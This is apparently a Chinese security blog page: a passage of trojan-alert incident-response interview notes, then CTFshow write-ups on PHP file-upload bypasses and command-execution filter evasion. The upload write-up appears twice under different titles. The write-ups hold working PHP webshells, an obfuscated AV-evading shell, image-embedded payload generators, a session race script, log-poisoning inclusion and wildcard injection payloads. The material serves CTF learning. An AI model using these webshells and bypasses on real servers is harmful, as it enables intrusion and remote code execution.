3 次没响应则断开)。解释四:完全不理解“k”指什么?应对方法: 在面试中,如果遇到不确定的术语或问题,礼貌地请求澄清是完全可以接受的。“不好意思,请问您提到的‘没有默认 k’具体是指哪个功能或按键呢?”22. 安全设备告警显示木马,如何上机排查?这与 Q17(白加黑)、Q13(无文件 Shell)和之前的应急响应问题有共通之处,但更侧重于“已确认是木马”的告警。上机排查步骤(假设已收到告警,并准备登录受感染主机):告警信息确认与准备:明确告警细节:哪个安全设备(EDR、AV、NTA)?检测到的木马名称/家族是什么(如 Emotet, TrickBot, Cobalt Strike, Gh0st RAT)?这能帮助预判其行为特征和目标。告警涉及的文件路径、进程名、网络连接(IP/端口)是什么?安全设备采取了什么动作(仅告警、阻止、隔离文件、隔离主机)?告警时间戳?准备工具: 确保有 Process Explorer/Process Hacker, Autoruns, Sysmon (如果已安装), Wireshark (可选), Volatility (可选), 以及干净的 U 盘等。隔离主机:必须先隔离! 物理断网或逻辑隔离(EDR/NAC/交换机端口),防止木马进一步通信(C2连接、数据外传)或横向传播。主机存活分析(关键):查找恶意进程:根据告警信息中提到的进程名或关联进程进行查找 (tasklist, ps aux, Process Explorer)。即使告警中的文件被隔离,木马进程可能仍在内存中运行,或者有其他守护进程。重点关注:名称可疑、路径异常、无签名/无效签名、CPU/内存占用异常、父进程可疑的进程。检查网络连接:netstat -ano (Win), ss -antup (Linux)。查找与告警信息相关的连接,或连接到已知 C2 地址(可从木马家族信息或威胁情报获取)的连接。查找异常的监听端口(可能是后门)。分析进程详细信息:使用 Process Explorer 查看可疑进程的启动命令行、加载的模块 (DLLs/SOs - 检查有无 Sideloading)、内存字符串、句柄、线程等。内存取证(如果需要深入分析或无文件迹象):Dump 可疑进程内存或全物理内存。使用 Volatility 等工具分析,寻找注入代码 (malfind)、网络连接 (netscan)、命令历史 (cmdscan) 等木马活动痕迹。持久化机制排查:必须检查! 木马通常会设置持久化以在重启后存活。Windows: 使用 Autoruns 检查所有可能的自启动位置(注册表 Run 键、计划任务、服务、驱动、启动项、WMI 等)。Linux: 检查 cron、systemd 服务、init.d 脚本、.bashrc/.profile、LD_PRELOAD 等。文件系统排查:定位木马文件(如果未被完全隔离): 找到告警中提到的文件路径。查找关联文件: 木马可能释放配置文件、日志文件、临时文件、下载的二阶段载荷等。检查 %TEMP%, %APPDATA%, /tmp, /var/tmp 等目录。时间线分析: 查找在告警时间点前后创建或修改的文件 (find / -mtime -1, Windows 资源管理器按时间排序)。获取样本: 如果安全,获取木马样本文件(或隔离区的文件)的 Hash,提交到 VirusTotal 等平台获取详细分析报告和 IOCs。日志审计:Windows: 事件日志(Security 4688+命令行,Application,System),PowerShell 日志,Sysmon 日志。Linux: syslog, auth.log, auditd 日志。AV/EDR 日志: 查看更详细的检测历史和上下文。确定入侵途径和影响范围:入口点分析: 木马是如何进入系统的(钓鱼、漏洞、下载、U盘)?横向移动检查: 是否有迹象表明木马尝试连接或感染内网其他主机?(检查登录日志、网络流量日志)。数据泄露检查: 是否有大量可疑出站流量?清除与恢复:确认清除: 确保安全设备已有效清除或隔离了文件和相关项。手动清除: 终止恶意进程,删除残留文件,移除持久化项。系统重建: 对于木马感染,特别是后门类、RAT 类木马,强烈建议备份数据后进行系统重装,以确保彻底清除。密码重置: 修改该主机上的所有用户密码,以及可能被泄露的其他凭据。漏洞修复: 如果是通过漏洞入侵,务必修复。事后总结: 记录过程,分析原因,改进防护策略(加强端点防护规则、网络访问控制、用户培训等)。
2025年04月23日
2 阅读
0 评论
0 点赞
2021-11-03
CTF show web入门之文件上传
web151前端会进行检测类型,随便找一个图片上传,burp抓包进行修改使用一句话木马上传,并同时传参获取flag<?php eval($_POST['shell']);?> payload:POST shell=system('tac ../????.???'); web152同151web153上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/防挂 https://www.cnblogs.com/l0nmar/p/14053889.html 当本目录下拥有.user.ini配置文件时,会首先识别里面的配置。也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。发现auto_append_file和auto_prepend_file一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。那么可以首先上传一个文件.user.ini,使得所有的文件都去包含下一个要上传的木马。然后上传一个带木马的图片,这样结合前面上传的配置文件可以使得所有的文件都带木马。再去利用这个木马去读取flag:shell=system('tac ../????.???'); auto_append_file="xxx" #.user.ini 配置文件 <?php #木马文件 phpinfo(); eval($_POST['shell']); ?>web154过滤了文件中的php,将php标签换为<?pHp即可web155修改标签为短标签即可绕过短标签:<? echo '123';?> 前提是开启配置参数short_open_tags=on<?=(表达式)?> 等价于 <?php echo (表达式)?> 不需要开启参数设置<% echo '123';%> 前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。<script language="php">echo '123'; </script> 在 php7.0 后已经不解析了。web156过滤了[],使用,进行替代,其他操作同155web157测试过滤了;和,可以转换思路,直接使文件包含读取flag命令的png文件。payload:<?=system('tac ../????.???')?>web158payload:<?=system('tac ../????.???')?>web 159又过滤了括号(),那就十使用票号,也就是反引号。会直接返回shell结果payload: <?=nl ../????.????>使用tac读取文件,返回会在界面直接显示。 使用nl读取文件,文件内容返回在注释里面web 160骚姿势,包含log绕过,因为log也被过滤了,所以payload:<?=include"/var/lo"."g/nginx/access.lo"."g"?> 。因为log会包含上传的ua,所以在ua后加上<?=tac ../????.????>,访问?/upload/index.php读取flagweb 161因为图片文件头会有标识,所以增加了对文件头的标识的检测,加上文件头即可:GIF89Aweb 162基础上又过滤了.。包含不了.log文件了,尝试包含session文件。# coding=utf-8 import io import requests import threading sessID = 'test' url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/' def write(session): while event.isSet(): f = io.BytesIO(b'a' * 256 * 1) response = session.post( url, cookies=, data=, files= ) def read(session): while event.isSet(): response = session.get(url + 'upload/index.php'.format(sessID)) if 'flag' in response.text: print(response.text) event.clear() else: print('[*]retrying...') if __name__ == '__main__': event = threading.Event() event.set() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start() for i in range(1, 30): threading.Thread(target=read, args=(session,)).start() web 163同162,直接包含/tmp/sess_testweb 164后端进行二次渲染 ,利用 imagecreatefrompng().png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html这个地方需要使用脚本进行二次渲染的绕过,生成一个木马内容为<?$_GET[0]($_POST[1]);?>,的脚本。上传后只需传参即可得到flag:使用bp抓包进行读取,不可使用Hackbar传参<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>web 165本题为jpg二次渲染绕过先随便上传一张jpg文件到服务器,再下载回来,php exp.php 1.jpg,再上传即可。然后POST传参:1=system("cat flag.php")。但是我失败了,图片上传成功,但是获取不到flagexp.php:<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>web 166前端限制了只能上传ZIP,那就上传一个zip文件包含一句话木马注意修改Content-Type为application/x-zip-compressed,然后使用奕剑连接或者直接POST参数获得flagweb167上传.htaccess文件 ,任意文件解析为php然后上传一个jpg文件包含一句话木马,连接这个木马获得flagpayload:<?php system($_POST[1]);>web168 基础免杀直接蚁剑生成免杀shell<?php // 使用时请删除此行, 连接密码: TyKPuntU ?> <?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>web 169-170使用日志包含。每次上传的UA头都会保存在日志里面,利用.user.ini包含日志文件,从而获得flag
2021年11月03日
39 阅读
1 评论
0 点赞
2021-10-15
CTF show web入门之文件包含
web151前端会进行检测类型,随便找一个图片上传,burp抓包进行修改使用一句话木马上传,并同时传参获取flag<?php eval($_POST['shell']);?> payload:POST shell=system('tac ../????.???'); web152同151web153上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/防挂 https://www.cnblogs.com/l0nmar/p/14053889.html 当本目录下拥有.user.ini配置文件时,会首先识别里面的配置。也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。发现auto_append_file和auto_prepend_file一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。那么可以首先上传一个文件.user.ini,使得所有的文件都去包含下一个要上传的木马。然后上传一个带木马的图片,这样结合前面上传的配置文件可以使得所有的文件都带木马。再去利用这个木马去读取flag:shell=system('tac ../????.???'); auto_append_file="xxx" #.user.ini 配置文件 <?php #木马文件 phpinfo(); eval($_POST['shell']); ?>web154过滤了文件中的php,将php标签换为<?pHp即可web155修改标签为短标签即可绕过短标签:<? echo '123';?> 前提是开启配置参数short_open_tags=on<?=(表达式)?> 等价于 <?php echo (表达式)?> 不需要开启参数设置<% echo '123';%> 前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。<script language="php">echo '123'; </script> 在 php7.0 后已经不解析了。web156过滤了[],使用,进行替代,其他操作同155web157测试过滤了;和,可以转换思路,直接使文件包含读取flag命令的png文件。payload:<?=system('tac ../????.???')?>web158payload:<?=system('tac ../????.???')?>web 159又过滤了括号(),那就十使用票号,也就是反引号。会直接返回shell结果payload: <?=nl ../????.????>使用tac读取文件,返回会在界面直接显示。 使用nl读取文件,文件内容返回在注释里面web 160骚姿势,包含log绕过,因为log也被过滤了,所以payload:<?=include"/var/lo"."g/nginx/access.lo"."g"?> 。因为log会包含上传的ua,所以在ua后加上<?=tac ../????.????>,访问?/upload/index.php读取flagweb 161因为图片文件头会有标识,所以增加了对文件头的标识的检测,加上文件头即可:GIF89Aweb 162基础上又过滤了.。包含不了.log文件了,尝试包含session文件。# coding=utf-8 import io import requests import threading sessID = 'test' url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/' def write(session): while event.isSet(): f = io.BytesIO(b'a' * 256 * 1) response = session.post( url, cookies=, data=, files= ) def read(session): while event.isSet(): response = session.get(url + 'upload/index.php'.format(sessID)) if 'flag' in response.text: print(response.text) event.clear() else: print('[*]retrying...') if __name__ == '__main__': event = threading.Event() event.set() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start() for i in range(1, 30): threading.Thread(target=read, args=(session,)).start() web 163同162,直接包含/tmp/sess_testweb 164后端进行二次渲染 ,利用 imagecreatefrompng().png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html这个地方需要使用脚本进行二次渲染的绕过,生成一个木马内容为<?$_GET[0]($_POST[1]);?>,的脚本。上传后只需传参即可得到flag:使用bp抓包进行读取,不可使用Hackbar传参<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>web 165本题为jpg二次渲染绕过先随便上传一张jpg文件到服务器,再下载回来,php exp.php 1.jpg,再上传即可。然后POST传参:1=system("cat flag.php")。但是我失败了,图片上传成功,但是获取不到flagexp.php:<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>web 166前端限制了只能上传ZIP,那就上传一个zip文件包含一句话木马注意修改Content-Type为application/x-zip-compressed,然后使用奕剑连接或者直接POST参数获得flagweb167上传.htaccess文件 ,任意文件解析为php然后上传一个jpg文件包含一句话木马,连接这个木马获得flagpayload:<?php system($_POST[1]);>web168 基础免杀直接蚁剑生成免杀shell<?php // 使用时请删除此行, 连接密码: TyKPuntU ?> <?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>web 169-170使用日志包含。每次上传的UA头都会保存在日志里面,利用.user.ini包含日志文件,从而获得flag
2021年10月15日
25 阅读
1 评论
0 点赞
2021-09-16
CTF_Show之命令执行
命令执行由于过滤了flag,可以使用通配符进行绕过在linux系统中 有一些通配符,匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0PAYLOAD:c=system('cat f*');error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }了解 eval函数之后传入 c=echo "npfs";?>ctf <?php system('ls'); 可以看到有 flag.php文件,之后采用include进行包含读取 payload:?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php这个题目的flag藏在注释里面命令执行的函数有很多,但是引号要使用%60 ` 去连接[hi]payload:c=echo cat f*;[hi] 去输出连接的这个文件system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec() # 这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示一定要使用漂号空格绕过\> < <> 重定向符%09(需要php环境) $$IFS$9 //用逗号实现了空格功能 %20 %09cat被过滤more:一页一页的显示档案内容less:与 more 类似head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容过滤了括号分号等,[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(/i"[/hi],需要无括号的函数?c=include$_GET[0]?>&0=data://text/plain,<?php%20phpinfo();?> #可以通过<?php连接 获取phpinfo ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php #以base64读取flag payload:?c=include $_GET["npfs"] ?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php #有巨佬的flag是这样写的,无法获得,后来发现是多了双引号和空格。感觉不像是过滤,是查询到后直接拒绝了这条命令又过滤了单双引号[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(|\"/i"[/hi] 这个题出现了和上题一样的结果,如果加了空格就没有任何返回,所以一定要去掉空格/?c=include%09$_GET[1]?%3E&1=/var/log/nginx/access.log 获得服务器的log?c=include $_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #错误 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php #正确 ?c=include $_POST[1]?>1=php://filter/read=convert.base64-encode/resource=flag.php #这种使用post的办法我没有成功过同上同上?c=data://text/plain,<?=%20system("cat%20fla*");?>分析发现过滤了数字,将数字0改成a就行过滤了flag ,又是 include 文件包含,利用伪协议读flagdata://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行?c=data://text/plain,<?php system("cat fla*")?> 直接使用 ?c=data://text/plain,同上题,了个php过滤,base64编码绕过即可?c=data://text/plain,<?= system("cat fla*");?>#或者跳过过滤php ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs= 仅仅是过滤了flag,同37无参数文件读取localeconv() 函数返回一包含本地数字及货币格式信息的数组。current() 函数返回数组中的当前元素(单元),默认取第一个值,pos() 同 current() ,是current()的别名reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE构造payload/?c=print_r(scandir(current(localeconv())));获得当前的目录,我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,然后就报错了,4中payload?c=highlight_flie(next(array_reverse(scandir(current(localeconv()))))); readfile(array_rand(array_flip(scandir(current(localeconv()))))); readfile(next(array_reverse(scandir(current(localeconv()))))); ?c=eval(array_rand(array_flip(getallheaders()))); ?c=eval(end(current(get_defined_vars())));&a=system("ls");不会,看不懂WP,附上网站>/dev/null 2>&1主要意思是不进行回显的意思,可参考https://www.cnblogs.com/tinywan/p/6025468.html我们要让命令回显,那么进行命令分隔即可; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行 cat flag.php; cat flag.php||过滤了空格和分号,直接使用其他的文件读取more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep strings过滤了cat,且输出无效,只要只执行前面的命令,?c=sort%20fl*|| 空格绕过,输出无效?c=tac%09fla*%0a多过滤了通配符通配符可以使用?问号,空格可用%09?c=sort%09fl?g.php|| ?c=tac%09fla?????%0a多过滤了一些东西,万能解?c=tac%09fla?????%0a同上,多过滤了一点同上,还是没有过滤tac和? payload: ?c=tac%09fla''g.php%过滤了很多,直接替换 tac<fla''g.php%0a%0a是换行,同样可以进行命令分隔;tac被过滤,换nlpayload: ?c=nl<>fla\g.php%0a这次直接输出flag没有,查找根目录,发现了flag,读取即可直接输出flag ?c=nl$fla\g.php 使用bin目录下面的ca命令输出 ?c=/bin/ca?$f???????直接读取 ?c=uniq$f???????或者进行查找读取 ?c=grep$%27fl???php 意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行两种办法对flag进行加密然后输出/???/????64 ???????? #bin目录下放着系统必备的执行档,比如cat,chmod。。。base64这个命令就是将指定的文件的内容以base64加密的形式输出。因为过滤了字母,正好可以用64来匹配这个命令/bin/base64 flag.php对flag文件进行压缩然后下载payload:?c=/???/???/????2 ????.??? ---》 然后在url + /flag.php.bz2 #我们可以利用/usr/bin下的bzip2,意思就是说我们先将flag.php文件进行压缩,然后再将其下载解题前先吹一下P神,挂一下博客,本题过滤了字母、数字。。这样的话只能去使用通配符去匹配。先来上传一个post文件,这样的话文件会被存放在临时文件夹/tmp,并且默认的文件名为/tmp/phpXXXXXX。这样的话就可以去执行这个命令. file也可以source file,但是这题过滤了字母,只能使用. file,具体方法见本题开始P神博客,最后使用/???/????????[@-[],成功匹配。 有大佬写了个py脚本,奉上import requests while True: url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files=) if r.text.find("flag") >0: print(r.text) break 具体操作,先构造一个上传文件的HTML<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST文件上传</title> </head> <body> <form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>上传一个.php文件,文件内容#!/bin/sh ls上传抓包,抓包之后添加参数c=.%20/???/????????[@-[] 如下,多发包几次(因为并不一定生成的临时文件的最后一个字母就是大写字母),可以看到执行了ls命令,能够回显信息,但是我的失败了,所有借用其他大佬的图,至于参数还是去见P神的博客然后用cat来读取这个flag就可以 题目说了flag在36.php下面,只要构造出36就可以自动读出flag,知识点是$(( ))与整数运算双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。通俗地讲,就是将数学运算表达式放在((和))之间。表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。$(())的值是0,关于取反,如果b=~a,那么a+b=-1首先知道,而且在$(())里是可以想加的$(( $((~$(()))) $((~$(()))) )) 是-2 $((~$(()))) 